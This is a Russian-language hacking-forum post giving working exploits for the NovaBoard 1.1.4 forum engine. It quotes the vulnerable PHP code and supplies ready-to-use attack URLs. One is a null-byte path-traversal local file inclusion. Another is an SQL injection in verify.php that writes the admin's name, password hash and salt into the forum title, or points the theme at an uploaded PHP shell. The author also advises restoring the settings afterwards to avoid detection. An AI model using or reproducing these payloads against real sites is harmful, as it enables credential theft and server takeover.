RulleR подтолкнул меня вспомнить об этом топике на форуме
Двиг понравился, потестил, добавляю от себя 5 копеек.
Тестил на последней 1.1.4
Код:
http://www.novaboard.net/2010/06/novaboard-release-1-1-4/
1) LFI
---------------------------------
Need
Rg=on
mq=off
---------------------------------
structure.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'forum'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'forum'[/COLOR][COLOR="#007700"]])){
[/COLOR][COLOR="#0000BB"]$forum_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'forum'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"select THEME from[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]categories WHERE ID = '[/COLOR][COLOR="#0000BB"]$forum_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#DD0000"]"structure.php - Error in query:[/COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$num_result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_num_rows[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$num_result[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'0'[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
}
else{
[/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
}
}
if (isset([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]) && ([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"])){
[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#FF8000"]// need register_globals
[/COLOR][COLOR="#007700"]........................................
if (isset([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]) && ([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"])){
[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"];
........................................
if ([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"])){
include[/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"];
}
.........................................
[/COLOR][/COLOR]
Как юзать
Код:
http://localhost/nova/index.php?category_theme=../../../../../../../../../[local_file]%00
2) Нашел еще скули требующие rg=on и mq=off
Выложу только самую интересную.
verify.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]escape_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]members SET verified = '1' WHERE md5(pass_salt) = '[/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT ID, NAME FROM[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]members WHERE md5(pass_salt) = '[/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$sql_result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]) or die ([/COLOR][COLOR="#DD0000"]"download.php - Error in query:[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);
while([/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql_result[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$new_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ID'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'NAME'[/COLOR][COLOR="#007700"]];
}
[/COLOR][COLOR="#FF8000"]// register_globals=on
[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]settings SET stats_member_id='[/COLOR][COLOR="#0000BB"]$new_id[/COLOR][COLOR="#DD0000"]', stats_member_name='[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]', stats_members=stats_members+1"[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
инъект в Update
таблица settings хранит основные настройки форума, мы ее можем update
---------------------------
need
rg=on
mq=off
---------------------------
как юзать.
Если куки не очищены-> чистим
применить можно по разному
1. вывести данные админа
Код:
http://localhost/nova/index.php?page=verify&id=1222&name=1',site_name=(select%20concat(name,0x3a,password,0x3a,pass_salt)%20from%20novaboard_members%20where%20id=1)+--+
идем на главную страницу, вывод палим в имени форума. Не забудьте потом вернуть на место. ато палево.
2. LFI через скуль
если пользователь не авторизован, то инклудится стандартная тема, название которой берется из этой таблицы
structure.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"select THEME from[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]settings"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#DD0000"]"Have you run install.php yet?"[/COLOR][COLOR="#007700"]) ;
[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
.......................
if ([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"])){
include[/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"];
}
.......................
[/COLOR][/COLOR]
Код:
http://localhost/nova/index.php?page=verify&id=1222&name=1',theme='../../../../../../../[local_file]%00'+--+
теперь идем на главную страницу, и вместо нее будет висеть проинклуденный файл(если инклудить аватар с пхп кодом шелла, вместо главной страницы будет висеть шелл) Тоже надо не забыть вернуть потом на место тему которая была ато палево.
-----------------------------------------
можно заюзать эту багу и без условий mq и rg, но нужны права админа. Писать не буду, так как смысл отпадает, RulleR уже написал, как имея права админа без палева шелл впендюрить
Усе